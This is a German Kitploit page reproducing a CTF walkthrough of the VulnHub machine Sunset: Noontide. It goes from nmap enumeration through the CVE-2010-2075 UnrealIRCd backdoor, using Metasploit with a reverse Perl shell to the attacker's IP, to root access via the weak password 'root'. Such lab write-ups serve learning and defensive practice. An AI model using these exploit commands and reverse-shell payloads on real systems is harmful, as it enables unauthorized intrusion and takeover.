Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
sunset-noontide-pentesting — Beschreibung Professionelle Penetrationstest-Bewertung der Sunset: Noontide VulnHub-Maschine, einschließlich Reconnaissance, Service-Enumeration, CVE-2010-2075-Ausnutzung, Post-Exploitation, Privilegieneskalation und vollständiger Systemkompromittierung. | Kitploit
Tools/GitHubGitHub/zales2004/sunset-noontide-pentesting
Privilege EscalationAufklärungPort-ScanningSchwachstellenanalyseExploitationPost-ExploitationNetzwerksicherheitCTFPenetrationstests

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Lernen & Bildung
Red Teaming
Labs & Praxis
GitHubzales2004/sunset-noontide-pentesting

sunset-noontide-pentesting

Beschreibung Professionelle Penetrationstest-Bewertung der Sunset: Noontide VulnHub-Maschine, einschließlich Reconnaissance, Service-Enumeration, CVE-2010-2075-Ausnutzung, Post-Exploitation, Privilegieneskalation und vollständiger Systemkompromittierung.

Repository anzeigen
22vor 20 TagenNoch nicht geprüft

Sunset: Noontide — Penetration Testing

Eine professionelle Penetration-Testing-Bewertung und CTF-Walkthrough von Sunset: Noontide, einer absichtlich verwundbaren Maschine von VulnHub.

Dieses Projekt dokumentiert den vollständigen Penetration-Testing-Lebenszyklus, einschließlich Reconnaissance, Service-Enumeration, Schwachstellenforschung, Exploitation, Initial Access, Post-Exploitation, Privilege Escalation, Proof-of-Compromise, Risikobewertung, MITRE ATT&CK-Mapping und Remediation.

⚠️ Haftungsausschluss: Diese Bewertung wurde gegen eine absichtlich verwundbare Maschine in einer autorisierten Laborumgebung durchgeführt. Die hier dokumentierten Techniken und Befehle sind ausschließlich für Systeme bestimmt, für die eine ausdrückliche Autorisierung eingeholt wurde.


🎯 Ziele

  • Identifizierung des Zielhosts
  • Enumeration exponierter Dienste
  • Identifizierung verwundbarer Software und Versionen
  • Recherche anwendbarer Schwachstellen
  • Ausnutzung des verwundbaren Dienstes
  • Erlangung eines initialen Shell-Zugriffs
  • Durchführung der Linux-Post-Exploitation-Enumeration
  • Identifizierung von Privilege-Escalation-Möglichkeiten
  • Erlangung von Root-Zugriff
  • Wiederherstellung der User- und Root-Proof-Dateien
  • Dokumentation der Sicherheitserkenntnisse
  • Bereitstellung von Remediation-Empfehlungen

🖥️ Laborumgebung

KomponenteDetails
ZielSunset: Noontide
PlattformVulnHub
Ziel-IP10.106.186.186
Ziel-Hostnamenoontide
Ziel-BetriebssystemDebian GNU/Linux 10 (Buster)
Architekturx86_64
Angreifer-PlattformKali Linux
Angreifer-IP10.106.186.204
BewertungsartAutorisierte Laborbewertung
GesamtrisikoKRITISCH
BewertungsergebnisVollständige Systemkompromittierung

🔐 Angriffskette

Zielerkennung → Nmap-Enumeration → UnrealIRCd 3.2.8.1 identifiziert → SearchSploit → CVE-2010-2075 identifiziert → Metasploit-Exploitation → Remote Command Shell → Shell als server → Linux-Post-Exploitation → Schwache Root-Anmeldedaten → su root → UID 0 / Root-Zugriff → User- & Root-Proof-Dateien


1. Reconnaissance

Eine initiale Netzwerkerkennung wurde durchgeführt, um das verwundbare Ziel zu identifizieren.

Das Ziel wurde letztendlich identifiziert als:

10.106.186.186

Während der Reconnaissance wurde 10.106.186.142 als Standard-Gateway und nicht als das beabsichtigte Ziel identifiziert.

Dies unterstreicht die Bedeutung der korrekten Identifizierung des Ziels vor der Durchführung weiterer Sicherheitstests, insbesondere in einem gebrückten oder gemeinsam genutzten Labornetzwerk.


2. Service-Enumeration

Eine Nmap-Service- und Versionserkennung wurde gegen das Ziel durchgeführt mit:

nmap -sV 10.106.186.186

Der bedeutende exponierte Dienst, der während der Bewertung identifiziert wurde, war:

6667/tcp open irc UnrealIRCd

Anschließend wurde ein detaillierterer Scan durchgeführt mit:

nmap -sC -sV -Pn -p 6667 10.106.186.186

Der Dienst wurde identifiziert als:

UnrealIRCd 3.2.8.1

Der IRC-Dienst meldete außerdem:

irc.foonet.com

Der exponierte UnrealIRCd-Dienst wurde zur primären Angriffsfläche, die während der Bewertung untersucht wurde.


3. Schwachstellenforschung

SearchSploit wurde verwendet, um öffentlich dokumentierte Schwachstellen im Zusammenhang mit der entdeckten UnrealIRCd-Version zu untersuchen.

Befehl:

searchsploit UnrealIRCd 3.2.8.1

Das relevante Ergebnis war:

UnrealIRCd 3.2.8.1 - Backdoor Command Exec

linux/remote/16922.rb

Die Schwachstelle wurde identifiziert als:

CVE-2010-2075

Schwachstelle

UnrealIRCd 3.2.8.1 Backdoor Command Execution

Schweregrad

Kritisch

Angriffstyp

Remote Command Execution

Sicherheitsauswirkung

Eine erfolgreiche Ausnutzung des verwundbaren Dienstes ermöglicht es einem Angreifer, Befehle remote auf dem Zielsystem auszuführen.


4. Metasploit-Exploitation

Der verwundbare IRC-Dienst wurde mit dem Metasploit Framework ausgenutzt.

Das ausgewählte Modul war:

exploit/unix/irc/unreal_ircd_3281_backdoor

Beispielkonfiguration:

use exploit/unix/irc/unreal_ircd_3281_backdoor

set RHOST 10.106.186.186

Erste Payload-Versuche führten zu keiner nutzbaren Session.

Anschließend wurde eine kompatible Unix-Reverse-Perl-Payload ausgewählt:

set payload cmd/unix/reverse_perl

set LHOST 10.106.186.204

set LPORT 4444

run

Metasploit meldete, dass das Ziel verwundbar erschien, und öffnete erfolgreich eine Command-Shell-Session.


5. Initial Access

Die erhaltene Shell wurde verifiziert mit:

whoami

Ergebnis:

server

Dies bestätigte eine erfolgreiche Remote-Befehlsausführung als das Konto server.

Das initiale Arbeitsverzeichnis war:

/home/server/irc/Unreal3.2

Zu diesem Zeitpunkt ging die Bewertung von der Remote-Service-Exploitation zur lokalen Post-Exploitation-Enumeration über.


6. Post-Exploitation-Enumeration

Nach Erlangung der Shell wurde eine standardmäßige Linux-Enumeration durchgeführt, um den kompromittierten Host zu verstehen und potenzielle Privilege-Escalation-Pfade zu identifizieren.

Aktueller Benutzer

Befehl:

id

Ergebnis:

uid=1000(server) gid=1000(server)

Das Konto war ein Nicht-Root-Benutzer.

Hostname

Befehl:

hostname

Ergebnis:

noontide

Kernel-Informationen

Befehl:

uname -a

Ergebnis:

Linux noontide 4.19.0-10-amd64 x86_64

Betriebssystem

Befehl:

cat /etc/os-release

Ergebnis:

Debian GNU/Linux 10 (buster)

Diese Befehle ermittelten die aktuelle Identität, den Hostnamen, die Kernel-Version, das Betriebssystem und die allgemeine Systemkonfiguration.


7. Privilege-Escalation-Enumeration

Es wurden mehrere standardmäßige Linux-Privilege-Escalation-Prüfungen durchgeführt.

7.1 SUID-Enumeration

Befehl:

find / -perm -4000 -type f 2>/dev/null

Standard-SUID-Binärdateien wie passwd, chsh, mount, umount, su, chfn, newgrp und gpasswd wurden identifiziert.

Es wurde keine offensichtliche benutzerdefinierte oder anomale SUID-Binärdatei als erfolgreicher Eskalationsvektor identifiziert.


7.2 Sudo-Enumeration

Befehl:

sudo -l

Aus der verfügbaren Ausgabe wurde kein nützlicher sudo-basierter Privilege-Escalation-Pfad identifiziert.


7.3 Cron-Enumeration

Befehle:

cat /etc/crontab

ls -la /etc/cron.d/

ls -la /etc/cron.hourly/

ls -la /etc/cron.daily/

ls -la /etc/cron.weekly/

Die beobachteten geplanten Aufgaben waren standardmäßige Systemaufgaben im Debian-Stil.

Es wurde kein offensichtlich beschreibbarer Root-Cron-Job identifiziert.


7.4 Enumeration beschreibbarer Dateien

Befehl:

find / -writable -type f 2>/dev/null | head -100

Die ersten Ergebnisse waren hauptsächlich /proc-Pseudo-Dateien und offenbarten keinen praktischen Privilege-Escalation-Vektor.


7.5 Linux Capabilities

Befehl:

getcap -r / 2>/dev/null

Aus der resultierenden Ausgabe wurde keine nützliche capability-basierte Privilege-Escalation identifiziert.


8. Privilege Escalation

Der erfolgreiche Privilege-Escalation-Pfad basierte auf den absichtlich schwachen Root-Anmeldedaten, die auf der verwundbaren Maschine konfiguriert waren.

Auf das Root-Konto wurde zugegriffen mit:

su root

Passwort:

root

Der Root-Zugriff wurde anschließend verifiziert mit:

id

Ergebnis:

uid=0(root) gid=0(root) groups=0(root)

Die Identität wurde außerdem bestätigt mit:

whoami

Ergebnis:

root

Dies bestätigte die vollständige administrative Kontrolle über das Zielsystem.


9. Proof of Compromise

9.1 Nachweis auf Benutzerebene

Die Proof-Datei auf Benutzerebene befand sich unter:

/home/server/local.txt

Befehl:

cat /home/server/local.txt

Ergebnis:

c53c08b5bf2b0801c5d0c24149826a6e


9.2 Nachweis auf Root-Ebene

Die Proof-Datei auf Root-Ebene befand sich unter:

/root/proof.txt

Befehl:

cat /root/proof.txt

Ergebnis:

Tool herunterladen